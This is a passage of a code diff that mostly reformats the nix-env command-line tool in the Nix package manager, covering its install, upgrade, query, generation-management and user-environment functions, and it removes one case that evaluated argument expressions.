srcNixExprs: { + break; + } - Value vArg; - loadSourceExpr(state, *instSource.nixExprPath, vArg); + /* The available user environment elements are specified as a + list of store paths (which may or may not be + derivations). */ + case srcStorePaths: { - for (auto & i : args) { - Expr * eFun = state.parseExprFromString(i, state.rootPath(".")); - Value vFun, vTmp; - state.eval(eFun, vFun); - vTmp.mkApp(&vFun, &vArg); - getDerivations(state, vTmp, "", *instSource.autoArgs, elems, true); - } + for (auto & i : args) { + auto path = state.store->followLinksToStorePath(i); - break; + std::string name(path.name()); + + PackageInfo elem(state, "", nullptr); + elem.setName(name); + + if (path.isDerivation()) { + elem.setDrvPath(path); + auto outputs = state.store->queryDerivationOutputMap(path); + elem.setOutPath(outputs.at("out")); + if (name.size() >= drvExtension.size() + && std::string(name, name.size() - drvExtension.size()) == drvExtension) + name = name.substr(0, name.size() - drvExtension.size()); + } else + elem.setOutPath(path); + + elems.push_back(elem); } - /* The available user environment elements are specified as a - list of store paths (which may or may not be - derivations). */ - case srcStorePaths: { + break; + } - for (auto & i : args) { - auto path = state.store->followLinksToStorePath(i); + /* Get the available user environment elements from another + user environment. These are then filtered as in the + `srcNixExprDrvs' case. */ + case srcProfile: { + elems = filterBySelector(state, queryInstalled(state, instSource.profile), args, newestOnly); + break; + } - std::string name(path.name()); - - PackageInfo elem(state, "", nullptr); - elem.setName(name); - - if (path.isDerivation()) { - elem.setDrvPath(path); - auto outputs = state.store->queryDerivationOutputMap(path); - elem.setOutPath(outputs.at("out")); - if (name.size() >= drvExtension.size() && - std::string(name, name.size() - drvExtension.size()) == drvExtension) - name = name.substr(0, name.size() - drvExtension.size()); - } - else - elem.setOutPath(path); - - elems.push_back(elem); - } - - break; - } - - /* Get the available user environment elements from another - user environment. These are then filtered as in the - `srcNixExprDrvs' case. */ - case srcProfile: { - elems = filterBySelector(state, - queryInstalled(state, instSource.profile), - args, newestOnly); - break; - } - - case srcAttrPath: { - Value vRoot; - loadSourceExpr(state, *instSource.nixExprPath, vRoot); - for (auto & i : args) { - Value & v(*findAlongAttrPath(state, i, *instSource.autoArgs, vRoot).first); - getDerivations(state, v, "", *instSource.autoArgs, elems, true); - } - break; + case srcAttrPath: { + Value vRoot; + loadSourceExpr(state, *instSource.nixExprPath, vRoot); + for (auto & i : args) { + Value & v(*findAlongAttrPath(state, i, *instSource.autoArgs, vRoot).first); + getDerivations(state, v, "", *instSource.autoArgs, elems, true); } + break; + } } } - static void printMissing(EvalState & state, PackageInfos & elems) { std::vector targets; @@ -485,34 +463,32 @@ static void printMissing(EvalState & state, PackageInfos & elems) if (auto drvPath = i.queryDrvPath()) { auto path = DerivedPath::Built{ .drvPath = makeConstantStorePathRef(*drvPath), - .outputs = OutputsSpec::All { }, + .outputs = OutputsSpec::All{}, }; targets.emplace_back(std::move(path)); } else - targets.emplace_back(DerivedPath::Opaque{ - .path = i.queryOutPath(), - }); + targets.emplace_back( + DerivedPath::Opaque{ + .path = i.queryOutPath(), + }); printMissing(state.store, targets); } - static bool keep(PackageInfo & drv) { return drv.queryMetaBool("keep", false); } -static void setMetaFlag(EvalState & state, PackageInfo & drv, - const std::string & name, const std::string & value) +static void setMetaFlag(EvalState & state, PackageInfo & drv, const std::string & name, const std::string & value) { auto v = state.allocValue(); v->mkString(value); drv.setMeta(name, v); } - -static void installDerivations(Globals & globals, - const Strings & args, const Path & profile, std::optional priority) +static void +installDerivations(Globals & globals, const Strings & args, const Path & profile, std::optional priority) { debug("installing derivations"); @@ -554,9 +530,7 @@ static void installDerivations(Globals & globals, for (auto & i : installedElems) { DrvName drvName(i.queryName()); - if (!globals.preserveInstalled && - newNames.find(drvName.name) != newNames.end() && - !keep(i)) + if (!globals.preserveInstalled && newNames.find(drvName.name) != newNames.end() && !keep(i)) printInfo("replacing old '%s'", i.queryName()); else allElems.push_back(i); @@ -568,20 +542,21 @@ static void installDerivations(Globals & globals, printMissing(*globals.state, newElems); - if (globals.dryRun) return; + if (globals.dryRun) + return; - if (createUserEnv(*globals.state, allElems, - profile, settings.envKeepDerivations, lockToken)) break; + if (createUserEnv(*globals.state, allElems, profile, settings.envKeepDerivations, lockToken)) + break; } } - static void opInstall(Globals & globals, Strings opFlags, Strings opArgs) { std::optional priority; - for (Strings::iterator i = opFlags.begin(); i != opFlags.end(); ) { + for (Strings::iterator i = opFlags.begin(); i != opFlags.end();) { auto arg = *i++; - if (parseInstallSourceOptions(globals, i, opFlags, arg)) ; + if (parseInstallSourceOptions(globals, i, opFlags, arg)) + ; else if (arg == "--preserve-installed" || arg == "-P") globals.preserveInstalled = true; else if (arg == "--remove-all" || arg == "-r") @@ -592,19 +567,16 @@ static void opInstall(Globals & globals, Strings opFlags, Strings opArgs) priority = string2Int(*i++); if (!priority) throw UsageError("'--priority' requires an integer argument"); - } - else throw UsageError("unknown flag '%1%'", arg); + } else + throw UsageError("unknown flag '%1%'", arg); } installDerivations(globals, opArgs, globals.profile, priority); } - typedef enum { utLt, utLeq, utEq, utAlways } UpgradeType; - -static void upgradeDerivations(Globals & globals, - const Strings & args, UpgradeType upgradeType) +static void upgradeDerivations(Globals & globals, const Strings & args, UpgradeType upgradeType) { debug("upgrading derivations"); @@ -649,15 +621,13 @@ static void upgradeDerivations(Globals & globals, DrvName newName(j->queryName()); if (newName.name == drvName.name) { std::strong_ordering d = compareVersions(drvName.version, newName.version); - if ((upgradeType == utLt && d < 0) || - (upgradeType == utLeq && d <= 0) || - (upgradeType == utEq && d == 0) || - upgradeType == utAlways) - { + if ((upgradeType == utLt && d < 0) || (upgradeType == utLeq && d <= 0) + || (upgradeType == utEq && d == 0) || upgradeType == utAlways) { std::strong_ordering d2 = std::strong_ordering::less; if (bestElem != availElems.end()) { d2 = comparePriorities(*globals.state, *bestElem, *j); - if (d2 == 0) d2 = compareVersions(bestVersion, newName.version); + if (d2 == 0) + d2 = compareVersions(bestVersion, newName.version); } if (d2 < 0 && (!globals.prebuiltOnly || isPrebuilt(*globals.state, *j))) { bestElem = j; @@ -667,16 +637,13 @@ static void upgradeDerivations(Globals & globals, } } - if (bestElem != availElems.end() && - i.queryOutPath() != - bestElem->queryOutPath()) - { - const char * action = compareVersions(drvName.version, bestVersion) <= 0 - ? "upgrading" : "downgrading"; - printInfo("%1% '%2%' to '%3%'", - action, i.queryName(), bestElem->queryName()); + if (bestElem != availElems.end() && i.queryOutPath() != bestElem->queryOutPath()) { + const char * action = + compareVersions(drvName.version, bestVersion) <= 0 ? "upgrading" : "downgrading"; + printInfo("%1% '%2%' to '%3%'", action, i.queryName(), bestElem->queryName()); newElems.push_back(*bestElem); - } else newElems.push_back(i); + } else + newElems.push_back(i); } catch (Error & e) { e.addTrace(nullptr, "while trying to find an upgrade for '%s'", i.queryName()); @@ -686,31 +653,36 @@ static void upgradeDerivations(Globals & globals, printMissing(*globals.state, newElems); - if (globals.dryRun) return; + if (globals.dryRun) + return; - if (createUserEnv(*globals.state, newElems, - globals.profile, settings.envKeepDerivations, lockToken)) break; + if (createUserEnv(*globals.state, newElems, globals.profile, settings.envKeepDerivations, lockToken)) + break; } } - static void opUpgrade(Globals & globals, Strings opFlags, Strings opArgs) { UpgradeType upgradeType = utLt; - for (Strings::iterator i = opFlags.begin(); i != opFlags.end(); ) { + for (Strings::iterator i = opFlags.begin(); i != opFlags.end();) { std::string arg = *i++; - if (parseInstallSourceOptions(globals, i, opFlags, arg)) ; - else if (arg == "--lt") upgradeType = utLt; - else if (arg == "--leq") upgradeType = utLeq; - else if (arg == "--eq") upgradeType = utEq; - else if (arg == "--always") upgradeType = utAlways; - else throw UsageError("unknown flag '%1%'", arg); + if (parseInstallSourceOptions(globals, i, opFlags, arg)) + ; + else if (arg == "--lt") + upgradeType = utLt; + else if (arg == "--leq") + upgradeType = utLeq; + else if (arg == "--eq") + upgradeType = utEq; + else if (arg == "--always") + upgradeType = utAlways; + else + throw UsageError("unknown flag '%1%'", arg); } upgradeDerivations(globals, opArgs, upgradeType); } - static void opSetFlag(Globals & globals, Strings opFlags, Strings opArgs) { if (opFlags.size() > 0) @@ -743,21 +715,23 @@ static void opSetFlag(Globals & globals, Strings opFlags, Strings opArgs) checkSelectorUse(selectors); /* Write the new user environment. */ - if (createUserEnv(*globals.state, installedElems, - globals.profile, settings.envKeepDerivations, lockToken)) break; + if (createUserEnv(*globals.state, installedElems, globals.profile, settings.envKeepDerivations, lockToken)) + break; } } - static void opSet(Globals & globals, Strings opFlags, Strings opArgs) { auto store2 = globals.state->store.dynamic_pointer_cast(); - if (!store2) throw Error("--set is not supported for this Nix store"); + if (!store2) + throw Error("--set is not supported for this Nix store"); - for (Strings::iterator i = opFlags.begin(); i != opFlags.end(); ) { + for (Strings::iterator i = opFlags.begin(); i != opFlags.end();) { std::string arg = *i++; - if (parseInstallSourceOptions(globals, i, opFlags, arg)) ; - else throw UsageError("unknown flag '%1%'", arg); + if (parseInstallSourceOptions(globals, i, opFlags, arg)) + ; + else + throw UsageError("unknown flag '%1%'", arg); } PackageInfos elems; @@ -772,31 +746,26 @@ static void opSet(Globals & globals, Strings opFlags, Strings opArgs) drv.setName(globals.forceName); auto drvPath = drv.queryDrvPath(); - std::vector paths { - drvPath - ? (DerivedPath) (DerivedPath::Built { - .drvPath = makeConstantStorePathRef(*drvPath), - .outputs = OutputsSpec::All { }, - }) - : (DerivedPath) (DerivedPath::Opaque { - .path = drv.queryOutPath(), - }), + std::vector paths{ + drvPath ? (DerivedPath) (DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(*drvPath), + .outputs = OutputsSpec::All{}, + }) + : (DerivedPath) (DerivedPath::Opaque{ + .path = drv.queryOutPath(), + }), }; printMissing(globals.state->store, paths); - if (globals.dryRun) return; + if (globals.dryRun) + return; globals.state->store->buildPaths(paths, globals.state->repair ? bmRepair : bmNormal); debug("switching to new user environment"); - Path generation = createGeneration( - *store2, - globals.profile, - drv.queryOutPath()); + Path generation = createGeneration(*store2, globals.profile, drv.queryOutPath()); switchLink(globals.profile, generation); } - -static void uninstallDerivations(Globals & globals, Strings & selectors, - Path & profile) +static void uninstallDerivations(Globals & globals, Strings & selectors, Path & profile) { while (true) { auto lockToken = optimisticLockProfile(profile); @@ -808,20 +777,15 @@ static void uninstallDerivations(Globals & globals, Strings & selectors, if (isPath(selector)) { StorePath selectorStorePath = globals.state->store->followLinksToStorePath(selector); split = std::partition( - workingElems.begin(), workingElems.end(), - [&selectorStorePath, globals](auto &elem) { + workingElems.begin(), workingElems.end(), [&selectorStorePath, globals](auto & elem) { return selectorStorePath != elem.queryOutPath(); - } - ); + }); } else { DrvName selectorName(selector); - split = std::partition( - workingElems.begin(), workingElems.end(), - [&selectorName](auto &elem){ - DrvName elemName(elem.queryName()); - return !selectorName.matches(elemName); - } - ); + split = std::partition(workingElems.begin(), workingElems.end(), [&selectorName](auto & elem) { + DrvName elemName(elem.queryName()); + return !selectorName.matches(elemName); + }); } if (split == workingElems.end()) warn("selector '%s' matched no installed derivations", selector); @@ -831,14 +795,14 @@ static void uninstallDerivations(Globals & globals, Strings & selectors, workingElems.erase(split, workingElems.end()); } - if (globals.dryRun) return; + if (globals.dryRun) + return; - if (createUserEnv(*globals.state, workingElems, - profile, settings.envKeepDerivations, lockToken)) break; + if (createUserEnv(*globals.state, workingElems, profile, settings.envKeepDerivations, lockToken)) + break; } } - static void opUninstall(Globals & globals, Strings opFlags, Strings opArgs) { if (opFlags.size() > 0) @@ -846,26 +810,20 @@ static void opUninstall(Globals & globals, Strings opFlags, Strings opArgs) uninstallDerivations(globals, opArgs, globals.profile); } - static bool cmpChars(char a, char b) { return toupper(a) < toupper(b); } - static bool cmpElemByName(const PackageInfo & a, const PackageInfo & b) { auto a_name = a.queryName(); auto b_name = b.queryName(); - return lexicographical_compare( - a_name.begin(), a_name.end(), - b_name.begin(), b_name.end(), cmpChars); + return lexicographical_compare(a_name.begin(), a_name.end(), b_name.begin(), b_name.end(), cmpChars); } - typedef std::list Table; - void printTable(Table & table) { auto nrColumns = table.size() > 0 ? table.front().size() : 0; @@ -878,7 +836,8 @@ void printTable(Table & table) Strings::iterator j; size_t column; for (j = i.begin(), column = 0; j != i.end(); ++j, ++column) - if (j->size() > widths[column]) widths[column] = j->size(); + if (j->size() > widths[column]) + widths[column] = j->size(); } for (auto & i : table) { @@ -895,7 +854,6 @@ void printTable(Table & table) } } - /* This function compares the version of an element against the versions in the given set of elements. `cvLess' means that only lower versions are in the set, `cvEqual' means that at most an @@ -905,8 +863,7 @@ void printTable(Table & table) typedef enum { cvLess, cvEqual, cvGreater, cvUnavail } VersionDiff; -static VersionDiff compareVersionAgainstSet( - const PackageInfo & elem, const PackageInfos & elems, std::string & version) +static VersionDiff compareVersionAgainstSet(const PackageInfo & elem, const PackageInfos & elems, std::string & version) { DrvName name(elem.queryName()); @@ -920,12 +877,10 @@ static VersionDiff compareVersionAgainstSet( if (d < 0) { diff = cvGreater; version = name2.version; - } - else if (diff != cvGreater && d == 0) { + } else if (diff != cvGreater && d == 0) { diff = cvEqual; version = name2.version; - } - else if (diff != cvGreater && diff != cvEqual && d > 0) { + } else if (diff != cvGreater && diff != cvEqual && d > 0) { diff = cvLess; if (version == "" || compareVersions(version, name2.version) < 0) version = name2.version; @@ -936,18 +891,18 @@ static VersionDiff compareVersionAgainstSet( return diff; } - -static void queryJSON(Globals & globals, std::vector & elems, bool printOutPath, bool printDrvPath, bool printMeta) +static void +queryJSON(Globals & globals, std::vector & elems, bool printOutPath, bool printDrvPath, bool printMeta) { using nlohmann::json; json topObj = json::object(); for (auto & i : elems) { try { - if (i.hasFailed()) continue; - + if (i.hasFailed()) + continue; auto drvName = DrvName(i.queryName()); - json &pkgObj = topObj[i.attrPath]; + json & pkgObj = topObj[i.attrPath]; pkgObj = { {"name", drvName.fullName}, {"pname", drvName.name}, @@ -958,7 +913,7 @@ static void queryJSON(Globals & globals, std::vector & elems, bool { PackageInfo::Outputs outputs = i.queryOutputs(printOutPath); - json &outputObj = pkgObj["outputs"]; + json & outputObj = pkgObj["outputs"]; outputObj = json::object(); for (auto & j : outputs) { if (j.second) @@ -970,11 +925,12 @@ static void queryJSON(Globals & globals, std::vector & elems, bool if (printDrvPath) { auto drvPath = i.queryDrvPath(); - if (drvPath) pkgObj["drvPath"] = globals.state->store->printStorePath(*drvPath); + if (drvPath) + pkgObj["drvPath"] = globals.state->store->printStorePath(*drvPath); } if (printMeta) { - json &metaObj = pkgObj["meta"]; + json & metaObj = pkgObj["meta"]; metaObj = json::object(); StringSet metaNames = i.queryMetaNames(); for (auto & j : metaNames) { @@ -998,10 +954,9 @@ static void queryJSON(Globals & globals, std::vector & elems, bool std::cout << topObj.dump(2); } - static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) { - auto & store { *globals.state->store }; + auto & store{*globals.state->store}; Strings remaining; std::string attrPath; @@ -1022,21 +977,34 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) settings.readOnlyMode = true; /* makes evaluation a bit faster */ - for (Strings::iterator i = opFlags.begin(); i != opFlags.end(); ) { + for (Strings::iterator i = opFlags.begin(); i != opFlags.end();) { auto arg = *i++; - if (arg == "--status" || arg == "-s") printStatus = true; - else if (arg == "--no-name") printName = false; - else if (arg == "--system") printSystem = true; - else if (arg == "--description") printDescription = true; - else if (arg == "--compare-versions" || arg == "-c") compareVersions = true; - else if (arg == "--drv-path") printDrvPath = true; - else if (arg == "--out-path") printOutPath = true; - else if (arg == "--meta") printMeta = true; - else if (arg == "--installed") source = sInstalled; - else if (arg == "--available" || arg == "-a") source = sAvailable; - else if (arg == "--xml") xmlOutput = true; - else if (arg == "--json") jsonOutput = true; - else if (arg == "--attr-path" || arg == "-P") printAttrPath = true; + if (arg == "--status" || arg == "-s") + printStatus = true; + else if (arg == "--no-name") + printName = false; + else if (arg == "--system") + printSystem = true; + else if (arg == "--description") + printDescription = true; + else if (arg == "--compare-versions" || arg == "-c") + compareVersions = true; + else if (arg == "--drv-path") + printDrvPath = true; + else if (arg == "--out-path") + printOutPath = true; + else if (arg == "--meta") + printMeta = true; + else if (arg == "--installed") + source = sInstalled; + else if (arg == "--available" || arg == "-a") + source = sAvailable; + else if (arg == "--xml") + xmlOutput = true; + else if (arg == "--json") + jsonOutput = true; + else if (arg == "--attr-path" || arg == "-P") + printAttrPath = true; else if (arg == "--attr" || arg == "-A") attrPath = needArg(i, opFlags, arg); else @@ -1053,24 +1021,26 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) installedElems = queryInstalled(*globals.state, globals.profile); if (source == sAvailable || compareVersions) - loadDerivations(*globals.state, *globals.instSource.nixExprPath, - globals.instSource.systemFilter, *globals.instSource.autoArgs, - attrPath, availElems); + loadDerivations( + *globals.state, + *globals.instSource.nixExprPath, + globals.instSource.systemFilter, + *globals.instSource.autoArgs, + attrPath, + availElems); - PackageInfos elems_ = filterBySelector(*globals.state, - source == sInstalled ? installedElems : availElems, - opArgs, false); + PackageInfos elems_ = + filterBySelector(*globals.state, source == sInstalled ? installedElems : availElems, opArgs, false); PackageInfos & otherElems(source == sInstalled ? availElems : installedElems); - /* Sort them by name. */ /* !!! */ std::vector elems; - for (auto & i : elems_) elems.push_back(i); + for (auto & i : elems_) + elems.push_back(i); sort(elems.begin(), elems.end(), cmpElemByName); - /* We only need to know the installed paths when we are querying the status of the derivation. */ StorePathSet installed; /* installed paths */ @@ -1079,7 +1049,6 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) for (auto & i : installedElems) installed.insert(i.queryOutPath()); - /* Query which paths have substitutes. */ StorePathSet validPaths; StorePathSet substitutablePaths; @@ -1089,14 +1058,14 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) try { paths.insert(i.queryOutPath()); } catch (AssertionError & e) { - printMsg(lvlTalkative, "skipping derivation named '%s' which gives an assertion failure", i.queryName()); + printMsg( + lvlTalkative, "skipping derivation named '%s' which gives an assertion failure", i.queryName()); i.setFailed(); } validPaths = store.queryValidPaths(paths); substitutablePaths = store.querySubstitutablePaths(paths); } - /* Print the desired columns, or XML output. */ if (jsonOutput) { queryJSON(globals, elems, printOutPath, printDrvPath, printMeta); @@ -1114,13 +1083,13 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) for (auto & i : elems) { try { - if (i.hasFailed()) continue; + if (i.hasFailed()) + continue; - //Activity act(*logger, lvlDebug, "outputting query result '%1%'", i.attrPath); + // Activity act(*logger, lvlDebug, "outputting query result '%1%'", i.attrPath); - if (globals.prebuiltOnly && - !validPaths.count(i.queryOutPath()) && - !substitutablePaths.count(i.queryOutPath())) + if (globals.prebuiltOnly && !validPaths.count(i.queryOutPath()) + && !substitutablePaths.count(i.queryOutPath())) continue; /* For table output. */ @@ -1140,9 +1109,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) attrs["substitutable"] = hasSubs ? "1" : "0"; } else columns.push_back( - (std::string) (isInstalled ? "I" : "-") - + (isValid ? "P" : "-") - + (hasSubs ? "S" : "-")); + (std::string) (isInstalled ? "I" : "-") + (isValid ? "P" : "-") + (hasSubs ? "S" : "-")); } if (xmlOutput) @@ -1169,11 +1136,20 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) char ch; switch (diff) { - case cvLess: ch = '>'; break; - case cvEqual: ch = '='; break; - case cvGreater: ch = '<'; break; - case cvUnavail: ch = '-'; break; - default: unreachable(); + case cvLess: + ch = '>'; + break; + case cvEqual: + ch = '='; + break; + case cvGreater: + ch = '<'; + break; + case cvUnavail: + ch = '-'; + break; + default: + unreachable(); } if (xmlOutput) { @@ -1190,15 +1166,16 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) } if (xmlOutput) { - if (i.querySystem() != "") attrs["system"] = i.querySystem(); - } - else if (printSystem) + if (i.querySystem() != "") + attrs["system"] = i.querySystem(); + } else if (printSystem) columns.push_back(i.querySystem()); if (printDrvPath) { auto drvPath = i.queryDrvPath(); if (xmlOutput) { - if (drvPath) attrs["drvPath"] = store.printStorePath(*drvPath); + if (drvPath) + attrs["drvPath"] = store.printStorePath(*drvPath); } else columns.push_back(drvPath ? store.printStorePath(*drvPath) : "-"); } @@ -1210,8 +1187,12 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) PackageInfo::Outputs outputs = i.queryOutputs(); std::string s; for (auto & j : outputs) { - if (!s.empty()) s += ';'; - if (j.first != "out") { s += j.first; s += "="; } + if (!s.empty()) + s += ';'; + if (j.first != "out") { + s += j.first; + s += "="; + } s += store.printStorePath(*j.second); } columns.push_back(s); @@ -1220,7 +1201,8 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) if (printDescription) { auto descr = i.queryMetaString("description"); if (xmlOutput) { - if (descr != "") attrs["description"] = descr; + if (descr != "") + attrs["description"] = descr; } else columns.push_back(descr); } @@ -1242,9 +1224,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) attrs2["name"] = j; Value * v = i.queryMeta(j); if (!v) - printError( - "derivation '%s' has invalid meta attribute '%s'", - i.queryName(), j); + printError("derivation '%s' has invalid meta attribute '%s'", i.queryName(), j); else { if (v->type() == nString) { attrs2["type"] = "string"; @@ -1266,7 +1246,8 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) attrs2["type"] = "strings"; XMLOpenElement m(xml, "meta", attrs2); for (auto elem : v->listItems()) { - if (elem->type() != nString) continue; + if (elem->type() != nString) + continue; XMLAttrs attrs3; attrs3["value"] = elem->c_str(); xml.writeEmptyElement("string", attrs3); @@ -1275,12 +1256,13 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) attrs2["type"] = "strings"; XMLOpenElement m(xml, "meta", attrs2); for (auto & i : *v->attrs()) { - if (i.value->type() != nString) continue; + if (i.value->type() != nString) + continue; XMLAttrs attrs3; attrs3["type"] = globals.state->symbols[i.name]; attrs3["value"] = i.value->c_str(); xml.writeEmptyElement("string", attrs3); - } + } } } } @@ -1298,10 +1280,10 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) } } - if (!xmlOutput) printTable(table); + if (!xmlOutput) + printTable(table); } - static void opSwitchProfile(Globals & globals, Strings opFlags, Strings opArgs) { if (opFlags.size() > 0) @@ -1315,7 +1297,6 @@ static void opSwitchProfile(Globals & globals, Strings opFlags, Strings opArgs) switchLink(profileLink, profile); } - static void opSwitchGeneration(Globals & globals, Strings opFlags, Strings opArgs) { if (opFlags.size() > 0) @@ -1329,7 +1310,6 @@ static void opSwitchGeneration(Globals & globals, Strings opFlags, Strings opArg throw UsageError("expected a generation number"); } - static void opRollback(Globals & globals, Strings opFlags, Strings opArgs) { if (opFlags.size() > 0) @@ -1340,7 +1320,6 @@ static void opRollback(Globals & globals, Strings opFlags, Strings opArgs) switchGeneration(globals.profile, {}, globals.dryRun); } - static void opListGenerations(Globals & globals, Strings opFlags, Strings opArgs) { if (opFlags.size() > 0) @@ -1366,15 +1345,19 @@ static void opListGenerations(Globals & globals, Strings opFlags, Strings opArgs if (!localtime_r(&i.creationTime, &t)) throw Error("cannot convert time"); #endif - logger->cout("%|4| %|4|-%|02|-%|02| %|02|:%|02|:%|02| %||", + logger->cout( + "%|4| %|4|-%|02|-%|02| %|02|:%|02|:%|02| %||", i.number, - t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, - t.tm_hour, t.tm_min, t.tm_sec, + t.tm_year + 1900, + t.tm_mon + 1, + t.tm_mday, + t.tm_hour, + t.tm_min, + t.tm_sec, i.number == curGen ? "(current)" : ""); } } - static void opDeleteGenerations(Globals & globals, Strings opFlags, Strings opArgs) { if (opFlags.size() > 0) @@ -1405,14 +1388,12 @@ static void opDeleteGenerations(Globals & globals, Strings opFlags, Strings opAr } } - static void opVersion(Globals & globals, Strings opFlags, Strings opArgs) { printVersion("nix-env"); } - -static int main_nix_env(int argc, char * * argv) +static int main_nix_env(int argc, char ** argv) { { Strings opFlags, opArgs; @@ -1431,14 +1412,11 @@ static int main_nix_env(int argc, char * * argv) if (!pathExists(nixExprPath)) { try { createDirs(nixExprPath); - replaceSymlink( - defaultChannelsDir(), - nixExprPath + "/channels"); + replaceSymlink(defaultChannelsDir(), nixExprPath + "/channels"); if (!isRootUser()) - replaceSymlink( - rootChannelsDir(), - nixExprPath + "/channels_root"); - } catch (Error &) { } + replaceSymlink(rootChannelsDir(), nixExprPath + "/channels_root"); + } catch (Error &) { + } } globals.dryRun = false; @@ -1461,70 +1439,56 @@ static int main_nix_env(int argc, char * * argv) else if (*arg == "--install" || *arg == "-i") { op = opInstall; opName = "-install"; - } - else if (*arg == "--force-name") // undocumented flag for nix-install-package + } else if (*arg == "--force-name") // undocumented flag for nix-install-package globals.forceName = getArg(*arg, arg, end); else if (*arg == "--uninstall" || *arg == "-e") { op = opUninstall; opName = "-uninstall"; - } - else if (*arg == "--upgrade" || *arg == "-u") { + } else if (*arg == "--upgrade" || *arg == "-u") { op = opUpgrade; opName = "-upgrade"; - } - else if (*arg == "--set-flag") { + } else if (*arg == "--set-flag") { op = opSetFlag; opName = arg->substr(1); - } - else if (*arg == "--set") { + } else if (*arg == "--set") { op = opSet; opName = arg->substr(1); - } - else if (*arg == "--query" || *arg == "-q") { + } else if (*arg == "--query" || *arg == "-q") { op = opQuery; opName = "-query"; - } - else if (*arg == "--profile" || *arg == "-p") + } else if (*arg == "--profile" || *arg == "-p") globals.profile = absPath(getArg(*arg, arg, end)); else if (*arg == "--file" || *arg == "-f") file = getArg(*arg, arg, end); else if (*arg == "--switch-profile" || *arg == "-S") { op = opSwitchProfile; opName = "-switch-profile"; - } - else if (*arg == "--switch-generation" || *arg == "-G") { + } else if (*arg == "--switch-generation" || *arg == "-G") { op = opSwitchGeneration; opName = "-switch-generation"; - } - else if (*arg == "--rollback") { + } else if (*arg == "--rollback") { op = opRollback; opName = arg->substr(1); - } - else if (*arg == "--list-generations") { + } else if (*arg == "--list-generations") { op = opListGenerations; opName = arg->substr(1); - } - else if (*arg == "--delete-generations") { + } else if (*arg == "--delete-generations") { op = opDeleteGenerations; opName = arg->substr(1); - } - else if (*arg == "--dry-run") { + } else if (*arg == "--dry-run") { printInfo("(dry run; not doing anything)"); globals.dryRun = true; - } - else if (*arg == "--system-filter") + } else if (*arg == "--system-filter") globals.instSource.systemFilter = getArg(*arg, arg, end); else if (*arg == "--prebuilt-only" || *arg == "-b") globals.prebuiltOnly = true; else if (*arg != "" && arg->at(0) == '-') { opFlags.push_back(*arg); /* FIXME: hacky */ - if (*arg == "--from-profile" || - (op == opQuery && (*arg == "--attr" || *arg == "-A")) || - (op == opInstall && (*arg == "--priority"))) + if (*arg == "--from-profile" || (op == opQuery && (*arg == "--attr" || *arg == "-A")) + || (op == opInstall && (*arg == "--priority"))) opFlags.push_back(getArg(*arg, arg, end)); - } - else + } else opArgs.push_back(*arg); if (oldOp && oldOp != op) @@ -1535,18 +1499,19 @@ static int main_nix_env(int argc, char * * argv) myArgs.parseCmdline(argvToStrings(argc, argv)); - if (showHelp) showManPage("nix-env" + opName); - if (!op) throw UsageError("no operation specified"); + if (showHelp) + showManPage("nix-env" + opName); + if (!op) + throw UsageError("no operation specified"); auto store = openStore(); - globals.state = std::shared_ptr(new EvalState(myArgs.lookupPath, store, fetchSettings, evalSettings)); + globals.state = + std::shared_ptr(new EvalState(myArgs.lookupPath, store, fetchSettings, evalSettings)); globals.state->repair = myArgs.repair; globals.instSource.nixExprPath = std::make_shared( - file != "" - ? lookupFileArg(*globals.state, file) - : globals.state->rootPath(CanonPath(nixExprPath))); + file != "" ? lookupFileArg(*globals.state, file) : globals.state->rootPath(CanonPath(nixExprPath))); globals.instSource.autoArgs = myArgs.getAutoArgs(*globals.state); diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc index e149b6aeb..5424a19ac 100644 --- a/src/nix-env/user-env.cc +++ b/src/nix-env/user-env.cc @@ -15,7 +15,6 @@ namespace nix { - PackageInfos queryInstalled(EvalState & state, const Path & userEnv) { PackageInfos elems; @@ -31,10 +30,8 @@ PackageInfos queryInstalled(EvalState & state, const Path & userEnv) return elems; } - -bool createUserEnv(EvalState & state, PackageInfos & elems, - const Path & profile, bool keepDerivations, - const std::string & lockToken) +bool createUserEnv( + EvalState & state, PackageInfos & elems, const Path & profile, bool keepDerivations, const std::string & lockToken) { /* Build the components in the user environment, if they don't exist already. */ @@ -44,9 +41,7 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, drvsToBuild.push_back({*drvPath}); debug("building user environment dependencies"); - state.store->buildPaths( - toDerivedPaths(drvsToBuild), - state.repair ? bmRepair : bmNormal); + state.store->buildPaths(toDerivedPaths(drvsToBuild), state.repair ? bmRepair : bmNormal); /* Construct the whole top level derivation. */ StorePathSet references; @@ -91,7 +86,8 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, auto meta = state.buildBindings(metaNames.size()); for (auto & j : metaNames) { Value * v = i.queryMeta(j); - if (!v) continue; + if (!v) + continue; meta.insert(state.symbols.create(j), v); } @@ -99,7 +95,8 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, (list[n] = state.allocValue())->mkAttrs(attrs); - if (drvPath) references.insert(*drvPath); + if (drvPath) + references.insert(*drvPath); } Value manifest; @@ -111,16 +108,23 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, auto manifestFile = ({ std::ostringstream str; printAmbiguous(manifest, state.symbols, str, nullptr, std::numeric_limits::max()); - StringSource source { toView(str) }; + StringSource source{toView(str)}; state.store->addToStoreFromDump( - source, "env-manifest.nix", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references); + source, + "env-manifest.nix", + FileSerialisationMethod::Flat, + ContentAddressMethod::Raw::Text, + HashAlgorithm::SHA256, + references); }); /* Get the environment builder 